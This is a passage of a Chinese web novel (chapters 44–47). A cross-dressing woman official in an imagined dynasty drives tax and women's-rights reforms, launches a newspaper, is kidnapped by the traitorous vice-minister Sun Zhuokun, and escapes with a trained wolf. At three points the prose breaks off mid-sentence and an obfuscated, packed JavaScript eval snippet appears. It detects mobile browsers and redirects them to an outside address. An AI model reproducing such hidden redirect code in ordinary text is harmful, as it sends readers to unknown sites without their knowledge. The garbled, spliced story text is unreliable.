现在这座宅子她很满意,去上值也不算特别远,虽然没那么大,但这是她完全靠自己的实力买下的,要知道她在现代都还没买上房子,京都那个地方寸土寸金,她只能租房子住。 而现在,她竟然在另一个世界靠自己买上了京城的房子,那种满足感和成就感充盈着她的内心,是靠别人帮助获得不了的。 李云承还住在原来的院子里,他虽然俸禄不够买宅子,但是他家里经商,倒也能给他钱买一座,只不过他认为那个院子距离翰林院实在是近,上下值很方便,买的话可买不到这样的房子,他也没有妻室子女,索性就继续在那里住着了,这样他们几个还能像以前一样,下值了一起聚一聚。 “咔哒”一声,窗户一开一合,一个人影迅速从窗户外翻进来,江幼宜头都不用回,就知道是谢怀川来了。 果不其然,一双手从身后拥上她:“在做什么?” “自然是研究官员履历,阿川,你快看这个人,是不是买官的可能性毕竟大。” 谢怀川往江幼宜手指的地方看去,是一个神机营的一个副将,神机营可是京营,掌控着火器的。 “我让锦衣卫去查查,若孙卓坤的手真伸到朕的军营里来了,那他野心可是真不小。” “阿川,你说顾阁老会后悔将太后送入宫中吗?”江幼宜想到顾松涛在她提及太后时的神情,不禁问道。 “不知道,或许会吧。” 谢怀川一个用力,把江幼宜从椅子上抱起来,自己坐在椅子上,把江幼宜放在自己腿上,他很喜欢这个姿势,能让他看到江幼宜每一个表情神态,不会错过她丝毫情绪。 “怎么突然这么问?” “只是感觉跳出他首辅的身份,他也只是一个父亲,今天我提到太后的时候,他很沉默。”她今天之所以在顾松涛面前提起太后,也是在赌,或许这么多年过去,顾松涛对这个女儿会怀有一丝愧疚。 顾松涛家中一儿一女,儿子就是顾靖川的父亲,女儿就是当今太后。顾靖川的父亲也是少有才名,太后未入宫前,人人都说顾靖川的父亲有入阁之相,他的科考之路同顾靖川十分相似,国子监内常年霸榜榜首,不到二十岁状元入仕,前途无量。 可是他却因为顾松涛以家族利益为由强行让当今太后入宫,跟自己的父亲闹翻了,毅然辞去官职,从此只当一个闲云野鹤的闲人,而控制了女儿没能控制儿子的顾松涛选择转而去培养自己的孙子——顾靖川。 若是十几年前事情刚发生时,顾松涛不会承认自己做错了,但现在一儿一女都跟他不亲近,这个把家族荣耀看得比什么都重的老人,或许也有一丝后悔,从今天的结果看,她似乎是赌赢了。 44. 晋升 “辛苦了。”谢怀川揉揉江幼宜的脑袋。 江幼宜配合着在谢怀川手掌中蹭蹭:“不辛苦,这是我身为吏部官员该做的。” “好了,很晚了,我该走了。”谢怀川听着外面打更的声音,站起身,在江幼宜额头印上一吻,恋恋不舍道,“如果我们每时每刻都能在一起就好了。” 江幼宜明白谢怀川的意思,是想让自己跟他成亲,但她也明白,对方同样知道眼下的境况,儿女情长什么的,在当下不应放在首位。 她踮脚吻了谢怀川一下,轻声道:“会有那么一天的,阿川,信我。” 谢怀川最后用力抱了江幼宜一下,转身头也不回地翻窗离开了,江幼宜目视谢怀川从黑暗中离开的背影,莫名有点好笑,感觉有点像罗密欧与朱丽叶,背着家人偷情。 “幼宜?还没睡吗?”堂屋左侧的房门打开,姨母的声音带着浓浓困意,朝江幼宜房间这边问了一句。 江幼宜从窗户里探出头:“马上就睡了,姨母。” “嗯,你明日还要早早上值,早些歇息吧,天还冷,记得把窗户关好。” “好的,姨母,姨母也快些休息吧。” 江幼宜看姨母关门进屋,屋中熄了烛光,轻轻把窗户关上,暗自松了一口气,刚刚吓她一跳,她还以为谢怀川被姨母看见了呢。 第二天用过早餐,江幼宜准备出门前,在门口顿住,回头告诉姨母:“姨母,晚上我去找云承他们,不回来用饭了。” “好,路上小心点。” 自从她回来,四个人还没来得及好好聚聚,正好她有事情找顾靖川帮忙。 因为她能进内阁观政,内阁办公的大殿在皇宫内,所以通过太监给谢怀川传消息也比较方便,不过显然,谢怀川对于她晚上要晚回去的事情很不开心,传回来的纸条上画这个苦苦脸的简笔画。 这简笔画还是出京期间,谢怀川无意在她记录起居注的本子上发现的,自然也看到她起居注上写的那些无厘头的话,当时谢怀川搂着江幼宜很是亲了不短时间,她都快喘不过气来了。 还是江幼宜主动提出教他画同款简笔画,谢怀川才放过她,不过放过她之前,还是在她肩膀上狠狠咬了一口。 自那之后,谢怀川就经常画一些让江幼宜看到萌到心颤的简笔画,还会把两人的日常用简笔画的形式记录下来,现在谢怀川那里已经攒了不少,哪天投到书铺里去当画稿都行。 不过江幼宜没有让他这么做,可以说现在这个世界上只有她俩会画这种画,她跟章时共事时,对方是见过她画这种画的,而谢怀川画的她是女子形象,若是画出版了,对方很有可能会猜出她的身份,现在还不是暴露的时候。 当然,为了劝阻谢怀川暂时打消这个念头,江幼宜也是又赔了不少亲亲给他。男朋友太幼稚粘人怎么办?当然是宠着他了,若论起真实年龄,她可比谢怀川要大呢。 她也遣人去翰林院传了消息,不出意外得到了可以一聚的回复。 很快到了下值的时间,她朝着李云承的住处而去,她今天找顾靖川不是为了别的,而是为了顾靖川的父亲——顾照禅。 编辑部正缺少一个可以帮着编撰会试殿试考题的人,顾照禅这个状元,大名鼎鼎的才子,还不在朝为官,简直是为编辑部量身定做的,就是不知道对方肯不肯去,所以她特地来问问顾靖川。 那套书本来就是在这三人的帮助下编撰的,异地出版的事也无需隐瞒,书的分红她也带来了,四个人平分,另外三个不要,江幼宜好一通说,他们才收下。 她之所以能升任起居舍人,这套书功不可没,但是被升职的仅有她一人,她本就过意不去,更何况为了她跟谢怀川的计划,这套书也没有挂三人的名字,若是出售的分红都不给,也太过分了些。 “我想父亲大概会同意的。”顾靖川听闻,淡淡道。他父亲并非没有自己的抱负,只是对祖父的做法十分抗拒,才会辞去官职,每日赋闲在家吟诗作画,看似轻松自在,实则也被困在了牢笼里,若有机会让父亲重新施展抱负,想来父亲不会拒绝。 “那就辛苦靖川回去之后帮忙问问令尊,看他是否愿意前往兖州担任编辑,若愿意,可让令尊做主编。”因为表哥还要准备科举,迟早要进京来的,当时跟表哥说好的就是暂任主编,而表哥也并非心胸狭窄之人,换主编不是问题。 这件事解决,四人又互相交流了下近况,约好休沐去王砚秋家的庄子玩,大家就各自回家了。 江幼宜继续投入繁多的卷宗之中,经过几天的翻阅,从中看出了不少东西,再加上锦衣卫的调查,很快就把次辅一派卖官鬻爵的线挖了出来。 不过谢怀川并没有立刻就依法处置那些官员,而是让江幼宜继续翻阅卷宗,这次不再是调查买官上位的官员,而是找出一批有真才实干却被排挤,能在这批官员被裁撤后顶上的人。 她们出京一趟,已经替换了不少地方官员,上一届科举入仕的进士基本都已经有了去处,而且那些被问罪下狱的地方官,大多品级比较低,新入仕的进士也都能担任,其他位置通过提拔和调任也能补上。 这次却不同,涉案官员大多品级较高,靠新科进士顶不上,现下也没有那么多赋闲的官员可以任用,那就只能从不受重任的边缘官员中提拔。 经过长达半年的清理,次辅党的势力被大幅度削减,朝中形势很快由三足鼎立之势转变为次辅党式微,首辅党和皇帝派旗鼓相当。 这期间,顾靖川的父亲顾照禅接受了江幼宜的邀请,同妻子南下,去了兖州,有了他的加入,书铺的科举参考书质量更上一层楼。如此,由稷下书院刊印发行,太傅李明章背书的科举参考书开始在全国风靡起来,明眼人都知道,下一届科举,这个朝堂将会发生翻天覆地的变化。 眼看着皇权一点一点被加强,江幼宜提出的新考核法也被有惊无险通过,顺利实施下去,官员的考核内容不再依靠上司的主观判断,而是有了明确的客观指标,经过一年的实行,偷奸耍滑、敷衍了事的现象少了许多,考核法大获成功。 同时因为清理了大批吃空 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16640610|187681||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 饷不干实事的官员,国库的财政压力小了不少,江幼宜提出用这部分财政金额在各地扩建女子互助协会,大批量收容无家可归的女子和被遗弃的孩子,面向社会招募各种手艺人当老师,在协会内开办技能培训,且培训不止面向协会内的人,所有人都可以免费报名学习。 “傅大人,您的意思是要拿国库的钱做赔本的买卖?” 这两年因为江幼宜的所作所为利益受损的世家不少,本就看她不爽的世家认为自己终于抓住了机会,早朝上忍不住站出来提出质疑。 “这位大人此言差异,钱要循环起来才能生钱,一文钱放在国库里,它就永远只是一文钱,但要拿出来,把它流通到市场上去,那所有经手这一文钱的人都多了一文钱,这一文钱的经济价值就不再只是一文钱,它是十文、百文、千文甚至上万文,流通速度越快,它的价值越高。” “信口雌黄,妖言惑众,一文钱就是一文钱,如何能变成万文,傅大人,这是早朝,不是茶楼,怎得在此讲起笑话来了?” 朝堂上顿时哄堂大笑,还没等谢怀川出面维持秩序,顾松涛率先站了出来,抬手制止众人:“让他继续说。” “国库的钱拿来扩建互助协会,招募老师免费授课,并非赔本,首先,被招募的老师拿到薪酬,她手上的钱多了,自然就会去消费,有消费就会产生税收,税收流回国库,并不赔本,另外其他学会手艺的人也会去做买卖,这同样会产生税收,全国税收占比最高的就是商税,想必各位大人十分清楚,商人的数量多了,国库的收入自然会变多。之所以让所有人都免费学习,就是为了降低成为商人的门槛,各位大人再仔细想想,这国库的钱拿出去,又通过税收回流,民间还多了一大批商人,如何能算赔本的买卖?” 江幼宜说得刚刚哈哈大笑的一群人哑口无言,面容僵硬。 “就按傅郎中说得办。” 她这一提议既赢得了朝堂上寒门的支持,又获得了民间百姓的称颂,而在一年后,商税收入果然如江幼宜所言,大幅增加,在新一届的会试考前,江幼宜被提拔为户部左侍郎,成为即孙卓坤之后,第二个能隐隐与顾松涛在朝堂上分庭抗礼之人。 谁能想到短短三年,众人默认下一任首辅的人选已经从顾靖川变成了江幼宜呢,而更戏剧的是,这两人还偏偏是好友,并不为外界传言所影响。 新一届科举考试很快结束了,这一批新科进士中寒门的比例果然大大增加,而自从改了考核法,六部及其他部门里晋升最快的也以之前被排挤的寒门居多,原本的寒门加上新科进士中的寒门,寒门的力量正在逐渐凸显。 江幼宜升任户部左侍郎,第一件事就是牵头成立官方性质的商会。 虽说前面因为她提议扩建互助协会,民间商人多了不少,尤其是女商人,但女子从商却往往遭受比男子更多的刁难,而商人数量变多,坑蒙拐骗之徒也难免多起来。 所以江幼宜必须要成立一个官方性质的商会,以把控商业市场,不能让国库的资金来源被锅里的老鼠屎搅合了。 45. 报纸 户部主管全国人口、土地、徭役、赋税,户部左侍郎是户部二把手,妥妥的正三品实权官职,江幼宜基于前世报道民生新闻的知识储备,上位后提出了很多改革之法。 尤其是在土地赋税方面,江幼宜提出重新丈量土地,统一赋役,用银钱代替粮食交税,既能减少损耗,又能简化税收程序,让交税和收税变得公开透明,避免地方官吏层层剥削,中饱私囊。 这一提议不可避免地遭到了世家的抵制,因为世家手中往往握着不少未经登记过的田产,一旦重新丈量土地,他们要多交不少税,让这些世家拿钱,无疑等于要了他们的命。 出现这种场面,江幼宜和谢怀川自然是早就料到了,这种于国于民有利的事情,她们两个不会因为世家的激烈反对就放弃,针对世家提出的种种不可行的理由,江幼宜并未对其进行反驳。 这种时候,掀屋理论是最好用的。 所以,江幼宜紧接着提出要让女子拥有与男子同等的权力,男子出生分得多少田产,女子出生也分得多少田产,女子享有与男子同样的继承权力,无论成亲与否,还提出女子同样有读书科举的权力。 这下朝堂才是真正的炸了锅了,朝臣已经顾不上读书人的斯文,吐沫星子快把江幼宜淹没,就差上手去殴打她了。也不是没有朝臣想要动手,只不过人还没到江幼宜面前,那个朝臣已经被谢怀川喊来的禁军拦住了。 这次是彻彻底底把朝臣全部得罪了,不止世家,还有向来以她为首的寒门。 面对这些人的指责谩骂,江幼宜脊背挺直,丝毫不惧,她为官的目的,就是为了这一刻,为了站在朝堂上,亲自揭开男尊女卑的遮羞布,撕烂这些高高在上的统治者伪善的面具,被侮辱谩骂并不会激怒她一点,她看着这群人疯狂跳脚的模样只会觉得暗爽,看吧,恼羞成怒了不是? 她只是提了一嘴把女性待遇提高到与男性一样的地步,这些人都受不了。被压迫者地位提高,在既得利益者看来就是自己利益的损失,因为他们将被压迫者本身视为自己财产的一部分,自己的财产怎么可以独立出去呢? 关于江幼宜的几项提议,朝堂上争论了大半个月,最终重新丈量土地、统一赋役和用银钱代替粮食交税被通过,不是世家良心发现,而是江幼宜暗地里写了文章,将这些提议发往民间,世家权势再大,堵不住每个人的嘴,而占据这个国家人口大多数的终归还是普通百姓,世家碍于民间的呼声,不得不妥协。 至于江幼宜提起的男女平权,最终也只被允许通过了一点,就是女子出生时也能被分得土地,只不过出嫁时土地要归娘家。 这样对有女儿的家庭来说只是多得了一份土地,不会有任何损失,既得利益者不但没有损失,反而还更有利,他们当然会同意。 唯一不确定的只有女子,投生在良善之家,或许会因为她带来的这块土地得到更好的对待,而投生在万恶之家,女子可能只是他们用来获取土地的工具,能不能活到成年都难说,而成了亲的女子可能也会彻底沦为生育工具。 万事万物都有两面性,她不可能因为男性的恶就去扼杀女子本来就该得到的权力,女子被压迫,本身就是因为没有权力,能让女性在土地拥有上与男性平等,这本身就是一种进步。 而她跟谢怀川要做的,就是尽量完善法律法规,最大可能避免女子因为这点得来不易的利益被迫害得更严重,女子暂时得到土地只是第一步,将来她要让女子永久拥有土地,拥有同等继承权和科举入仕的权力! 终于取得阶段性胜利,江幼宜给还在兖州的表哥写了一封信。 本来表哥能够参加这一届科举的,可是一旦表哥参加科举,她的身份就会立马暴露,她跟谢怀川的大业还未成,表哥主动要求延后参加。 作为补偿,谢怀川直接给傅文松封官职,不需要他再继续科考。不过表哥没有接受,他说想靠自己的努力,堂堂正正站上朝堂。 有时候江幼宜也会反思这样时不时太自私了,她顶替了表哥的身份,一日不揭露真相,表哥就一日无法参加科举,可是她又没有办法,为了替天下女子争取公平公正,她必须站上权力的巅峰才能实现。 如果表哥不作出退让,那这一切就会陷入死局。 她,是因为表哥病重加上与表哥长相相似,还要通过谢怀川的掩护才得以进入考场官场,她顶替了傅文松这个身份,表哥就不能再以傅文松的身份参加科考,谢怀川身为皇帝,是可以轻而易举就帮表哥换个身份,可是换身份容易,换容貌却难。 一旦表哥进入有心人眼中,他们两个相似的外貌必然会引起旁人注意,稍微一调查,很容易就会发现端倪,她还没能以女子身份登上权力巅峰,证明女子不比任何男子差,还没能推动女子读书科举,之前她所有的努力都将白费,那些既得利益者将会对女子进行比之前严酷十倍百倍的围追堵截,让她们彻底成为后宅里的工具,而女子想再一次突出重围,也要付出千倍万倍的代价。 说她自私也好,自利也罢,她不允许这样的情况发生,好在这条路上不是她孤军奋斗,谢怀川和表哥都身体力行地支持她。 她想,成功的那天不会远了,因为她不想表哥再错过下一次科举。 人的思想是会被潜移默化地改变的,在人类社会中,一种思想被认为正确,不一定是它绝对正确,只需要政治正确就足够。 江幼宜关于人口赋税的提议被颁布执行,后续只需要收集执行中出现的具体问题,再根据这些问题去完善细节就可以,所以现在江幼宜的精力放在了改变思想上。 男人认为女人变强就会侵害属于自己的利益,而女人则被千百年来的由男人建立起来的规矩束缚着,认为女人依附男人是应该的。 这两大主要矛盾是江幼宜推进女子读书科举最大的阻碍,她的阻碍不止来源于男人,还有思想未被解放的女人。 当下首先要做的就是先解放女子的思想, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16644726|187681||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 让她们认识到读书科举是她们的本就应有的权力,她们不是任何人的附庸,她们靠自己也可以活得比男人精彩,让她们自发地想要改变,由衷地想去读书科举。 外界的推力只能推着人走一小段路,真正能让人进步的是人自身的欲望。 江幼宜从来不觉得称一个女人很有野心是一种贬义,她反而认为这是一种赞美,野心能让人变得更强更独立更有生命力。 男人有野心,大家只会觉得这个男人事业心很强,我们女人同样! 男人总是把女人的野心曲解为心野了,不好管了,对不起,我们女人从不需要接受任何男人的管教! 现在江幼宜要做的,就是唤醒所有女人的野心,三从四德将被重新定义,三从不再是在家从父,出嫁从夫,夫死从子,而是从商、从法、从政;四德不再是妇德、妇言、妇容、妇功,而是得钱、得利、得权、得势! 她要让所有女子对男性祛魅,让她们认识到男人从来不是她们的天,她们坚实的依靠,而是打着男主外、女主内旗号的吸血鬼,她们身上的枷锁全部来自这些男人,这些男人从来不是她们的天,而是阻碍她们一飞冲天的天花板。 而此时最能潜移默化改变人思想的途径就是报纸! 没错,江幼宜决定兴办报纸,她不仅要让女人意识到后宅之外的天地是多么广阔,同时她也要让男人意识到,一个全民读书的时代有多么大的创造力,只有男女搭配起来,蛋糕才能做得更大,他们能分到的也就越多。 只有让所有人都意识到读书对所有人来说都是好事,推动女子读书科举这件事才有进行下去的可能性。 自然,她在朝堂上提出兴办报纸的目的肯定不会直说是为了推动女子读书科举,她只说是为了让百姓了解官方的政策政令,让读书人以最快的速度获取到时事政治,刊登连载话本丰富百姓的娱乐生活,同时也能为国库创收。 办报纸最合适的地点莫过于翰林院,里面聚集着全国最顶尖的笔杆子,当然,她兴办报纸的目的并非表面那样,掌控了报纸相当于掌控了百姓的思想,所以这个报纸必须要掌握在自己人手里。 江幼宜与谢怀川商量,提议让顾靖川来做报纸的主负责人,王砚秋和李云承做副手,谢怀川也同意,但江幼宜去跟顾靖川商议此事的时候却遭到了拒绝。 “我打算今日向皇上请旨,外调出京了。”顾靖川一脸淡然。 江幼宜在震惊过一瞬间之后了然,同时又觉得有些许愧疚,她的所作所为终究还是影响到了身边的朋友。 “为什么?怎么这么突然?”王砚秋情绪略激动,着急盘问。 顾靖川微微一笑:“男子汉大丈夫,总想要靠自己闯出一片天地,我不想再按照祖父给我的安排继续下去了。文松,这是我自己的选择,你会支持我的对吗?” 顾靖川对情绪的感知还是那么敏锐,江幼宜看着对方好似能包容一切的笑容,释然地点点头:“当然。” 46. 突发 顾靖川外调离京,这件事虽然出乎朝中人意料,但也隐隐在意料之中,一边是好友和表弟,一边是嫡亲祖父,继续留在京中只会更加左右为难,这件事难免让人唏嘘,顾首辅在朝堂上雷厉风行,说一不二,只是这亲缘委实浅薄。 早年与女儿决裂,跟儿子虽然一直住在一起,关系却也算不上亲密,现在儿子跟孙子又相继离京,偌大的首辅府竟只剩下顾首辅一人,京中人对此议论纷纷。 江幼宜最近没来得及关注京中人最近的热点话题,她跟谢怀川最近在密切关注孙卓坤。 这人寒门出身,靠着太后提拔一步步爬到如今的位置,虽说上位后第一件事就是联合朝臣把太后踢回后宫,但不可否认这人确实有本事。 而她跟谢怀川现在之所以密切关注他,全因锦衣卫调查官员时发现几年前有一批运往北境的粮草,出京城出库与北境入库值对不上,虽说粮草运输过程中存在损耗是正常的,可是在无病无灾的太平年间损耗过半也未免太过夸张。 事实证明,这批粮草确实存在猫腻,只是去向却不明,他们反复调查,发现这批粮草最终的去向居然是北狄! 孙卓坤一直与北狄王室有联系,至于他是从何时跟北狄搭上线的,应该要从他在礼部清吏司做主事的时候说起,那时他还只是一个刚入仕不久的寒门,被世家排挤,那时正值谢怀川刚登基,周边各国派使臣前来庆贺,北狄人一向蛮横无理,次次到大宁来都要挑起事端,孙卓坤就被安排去接待北狄人。 北狄人意欲在典礼上闹事,被孙卓坤完美化解,而这件事也让他在太后面前漏了面,从此借上了太后的春风,一路扶摇直上。 当初典礼上那一出,除了当时人,已经无从知晓究竟是不是孙卓坤与北狄人配合出演的一出戏,只是这些年运往北境的粮草,零零散散被偷运到北狄不少,被发现端倪的那一批是数量最大的一批,那一年,北狄大雪,粮食紧缺。 孙卓坤通敌叛国已经是证据确凿,现在就是要盯紧他,把他的同党也找出来,一举拿下,防止他狗急跳墙。 “姨母,我今天要去城外的试验田,晚上可能回不来,不用等我吃饭了。” “好,你这一天天的也太辛苦了,都晒黑了。” 今年春天,有一西欧商人从海上乘船到了宁州码头,带来了许多奇奇怪怪的东西,大宁人没见过,她见过啊,那可是西红柿和土豆! 土豆作为优质碳水,亩产又高,可谓是土地贫瘠时期的报恩作物了,必须推广开来。她说的土豆亩产所有人都不信,所以特意新开辟了一块地来种植,她的种地水平也只是个半吊子,从民间请了种地老把式帮忙看着试验田,她也会隔三岔五去看看。土豆只有三四个月的生长期,现在马上到了快收获的季节,所以这段时间江幼宜往外跑的勤快了些。 江幼宜到了城外地里,雇来的老把式正在给土豆田施肥,庄稼灌浆期也是要追肥的,这样长出来的庄稼才能果实饱满,土豆也是一样。 她走到田里,挨着检查土豆有没有招虫或者生病,毕竟现在的土豆跟现代的土豆还不一样,这是直接从国外带来的,未经改良的品质,还不知道能不能适应这里的气候,这批土豆如此珍贵,她肯定要格外上心,这一批一旦毁了,不知道猴年马月才能再得到下一批了,因为那个西欧商人也是阴差阳错才来到这里的。 全部检查过,江幼宜放下心来,回到地边的马路上,看着这一片绿油油的土豆植株,心中十分期待,再有不到一个月,这批土豆就可以收获了,到时候百姓就又多了一种物美价廉,可以填饱肚子的食物。 “救命啊!救命啊!有人掉水里了!” 不远处的河边传来小孩子的呼救声,地里的老把式们纷纷放下手里的工具,往河边跑。 江幼宜扭头吩咐跟着自己的侍卫:“你们也快去看看。”侍卫飞速向河边去,江幼宜紧随其后,也往河边跑。 身后跟上来一个戴着草帽的人影,江幼宜以为也是地里干活的人,没有太过防备。 突然,一把冰凉的匕首抵在江幼宜脖子上,身后人抓着江幼宜的胳膊小声警告:“别出声,跟我走。” 江幼宜停下往河边去的脚步,顺着男人的力道往回走。 这次出来,她就带了两个侍卫,现在都去河边了,侍卫赶回她身边的速度可没有男人的匕首快。为今之计,只能先看看对方想做什么。 那人带着江幼宜左拐右拐钻进树林里,重重树影荫蔽处停着一辆破旧马车,走到马车前,男人先将江幼宜的双手双脚捆起来,然后掀开帘子,一把将江幼宜推了进去。 江幼宜跌坐在车厢里,抬头看着车里坐着的人笑出声,用胳膊撑着旁边的座位起身,施施然坐下,才开口:“原来是次辅大人,不知次辅大人找下官何事,你我同朝为官,何必如此兴师动众的。”她抬了抬被绑住的脚,看向孙卓坤。 早在草帽男人用匕首抵住她的时候,她心里就有所猜测,最近对她敌意最大的莫过于孙卓坤。一是眼看自己就要爬上次辅的位置,对方的地位受到威胁;二是对方犯的可是诛九族的大罪,虽然她跟谢怀川调查的隐秘,但孙卓坤通敌如此之久未被发现,其警惕心非同一般。 “明眼人都知道傅大人马上就要一飞冲天,可当不得您一句大人了,哎呦,瞧我这记性,年纪大了真是不如年轻那会儿头脑灵活了,忘了忘了,不该喊您傅大人,应该喊您江大人才对,江大人,我这次没喊错吧?” 江幼宜对上孙卓坤那双似笑非笑的眼睛,冷哼一声:“难为孙大人调查我底细了,那您也该知道,我这身份被捅出去,那是一点都碍不着您什么事,您何必如此为难我一个弱女子呢?” “真是伶牙俐齿,就是不知道,姓谢的若知道你失踪了,会作何反应 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16649073|187681||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呢?” 江幼宜面色一沉,低声问道:“你到底想做什么?” “做什么?自然是想保住我这条命,你跟姓谢的关系可不简单,不知道你我的性命在姓谢的那里谁的更重要一些呢?” 江幼宜扭过头,闭目养神不再跟孙卓坤搭话,双手在背后偷偷挣扎,试图把手从绳子里挣脱出来。侍卫回去看不到她人一定很着急,这会儿谢怀川应该已经知道她失踪的事儿了。 谢怀川应该也能猜到绑走她的是孙卓坤,对方在大宁境内明显已经无法待下去了,不出意料,孙卓坤应该是想逃往北狄。 不得不说,孙卓坤很会找机会下手,趁她到城外的时候把她绑走,可以直接躲过城门口的搜查,只要接下来的路不进大城,谢怀川就很难掌握到他的行踪。 江幼宜趁着马车颠簸荡开的车帘缝隙往外看,一路都是偏僻之地,连个村子都很难见到,对方这是铁了心绕开官道走。 “停车,水喝多了,我要方便。”江幼宜突然开口。 孙卓坤双手抱臂,皱着眉头上上下下看了江幼宜一眼:“麻烦!” “难不成孙大人想让我直接在车里解决?” “栓子,停车,带她去。”孙卓坤冲车门外喊完,警告地看了江幼宜一眼,“栓子自幼习武,劝你不要耍什么花样。” “那是当然,我就是一弱女子,这荒郊野岭的,我就是跑能跑到哪里去呢?孙大人放心吧,我可是很惜命的。” “哼,最好是这样。” 栓子打开马车门,示意江幼宜下车,对方扯着江幼宜的胳膊来到一边,就站在旁边不动了,那架势就是要在旁边盯着她。 “你主子没告诉你吗?我可是女的,还是当今陛下的相好,你确定就站在这里看着?”江幼宜恢复女性声线,玩味地看着面色冰冷的汉子脸变成黑红色,嘴巴动了动什么也没说出来,只转过身离开。 “哎,你就这么走了?我手脚还绑着呢,你这样让我怎么方便啊?” 栓子红着脸回身,手忙脚乱地把江幼宜手脚上的绳子解开,避嫌一样连忙往旁边走了几十米,保持着不算太近也不算太远的距离,转头就能看到江幼宜所在。 江幼宜窸窸簌簌从怀里掏出一包粉末,洒在旁边的树下,这种粉末人的鼻子闻不出气味,但嗅觉灵敏的动物却可以闻到,希望谢怀川能带人尽快追上来。 撒了一些之后江幼宜直接把剩下的粉末藏在了衣袖里,转身朝栓子走过去。 “我好了。”她自觉把双手递给对方,用主动配合打断对方的疑虑。 栓子照旧用绳子把她的双手双脚绑起来,只是这次再让她上车的时候没有第一次那么粗鲁,江幼宜暗自勾了勾嘴角,在进入车厢的一瞬间恢复成面无表情的状态。 孙卓坤看人被绑着,安然无恙回来,也没有多问,马车继续颠簸着一路往北去了。 47. 枷锁 夜幕降临,马车终于在荒无人烟的山里停下,栓子在小溪边升起篝火,用匕首削尖一根木棍,在小溪里叉鱼。 孙卓坤静静坐在篝火旁的石头上,盯着远方不知道在想什么,江幼宜依旧被绑着手脚,安静地坐在一旁。 “孙大人,我有一事不明,您也是颇具才学,任上也有实绩,就算不与北狄勾结,您早晚也能混出个名堂来,北狄人生性残暴,国力与大宁相比远远不如,您为何要叛国呢?” “你一进官场就攀上了谢怀川这棵大树,当然不懂我们这些被人排挤者的痛苦。古往今来那些有才干的寒门还少吗?真正能青史留名的又有几人呢?大多都被排挤到边缘,靠那点微薄的俸禄连家都养不起,最后郁郁而终,早晚能混出个名堂,到底是早还是晚呢?谁又能保证一定能活到那个时候呢?我若是不把握住那次机会,谁又知晓我还得做多久的冷板凳呢?若不是我跟北狄私下里协商好,说不定北狄人当时挑事,第一个被拉出去垫背的就是我,我还有什么机会活到现在!” “那你也不该克扣军粮卖给北狄人!你知道你资敌的行为导致我大宁边境白白牺牲了多少战士吗?” “难道北狄人就活该饿死吗?他们的命就低人一等吗?寒门的命生来就比世家贱吗?凭什么那些世家就可以仗着家世为所欲为,而我没权没势就活该被欺负?我的命运不就是北狄的命运吗?” “诡辩,孙大人上位之后做的最多的难道不是阻碍别的寒门崛起,以防你地位不保吗?这也是您口中的公平吗?那些卖军粮的钱难道不是全落进您的口袋了吗?孙大人,自我感动也要心里有数呀。” 江幼宜看着孙卓坤背后悄无声息地出现一双泛着绿光的眼睛,嘴边勾起一抹笑容,双手在身后微微一动,绑着她双手的绳子脱落,她在孙卓坤震惊的眼神中飞速把腿上的绳子解开,从怀里掏出一只挂在脖子上的骨哨吹响,一只灰白毛色的狼从孙卓坤身后扑过来,俯身卧在江幼宜面前。 江幼宜爬上狼背,搂住大狼的脖子,在孙卓坤和栓子愣神的片刻飞速驭狼离开,江幼宜身下的狼边跑边嗥叫一声,密密麻麻的狼群逐渐将栓子和孙卓坤围在中间。 栓子愣神片刻后飞速反应过来,站在孙卓坤旁边用火把恐吓离得越来越近的狼群,而狼群不知是真的畏惧火把还是听从头狼的号令,把两人围在中间后并未对两人发起进攻,但这样的架势已经足够让人恐惧。 远处响起阵阵马蹄声,江幼宜拍拍身下的狼,狼听话地向江幼宜指示的方向跑去,飞驰的骏马之中,谢怀川一马当先,看到江幼宜直接勒马,飞身而下,远远朝江幼宜跑来。 江幼宜也示意灰狼停下,她从灰狼背上滑下来,摸了摸灰狼的头:“好乖,回去吧。” 灰狼似通人言,用毛茸茸的大脑袋蹭了蹭江幼宜,嗥叫一声,一步三回头离开了。这只狼是她将要离开西戎时大王妃送她的礼物,大王妃出身武将世家,她们家族对驭狼颇有心得,骨哨是专门用来驭狼的,当时大王妃送她的时候,这只狼崽才只有小狗一般大。 但大王妃说过,狼是最有灵性的物种,驭狼一道,最重要的不是把狼养成看家的狗,而是尊重狼的天性,让它们成为野外的王,却仍然对你忠诚,在你最需要它的时候出现。 所以这只狼并没有一直跟在她身边,而是一直生存在山里,但距离她也不会太远,它就这样一路从西戎跟到大宁京都,平时并不会出现在江幼宜面前,只有闻到她携带的粉末味道时才会循着气味找来。 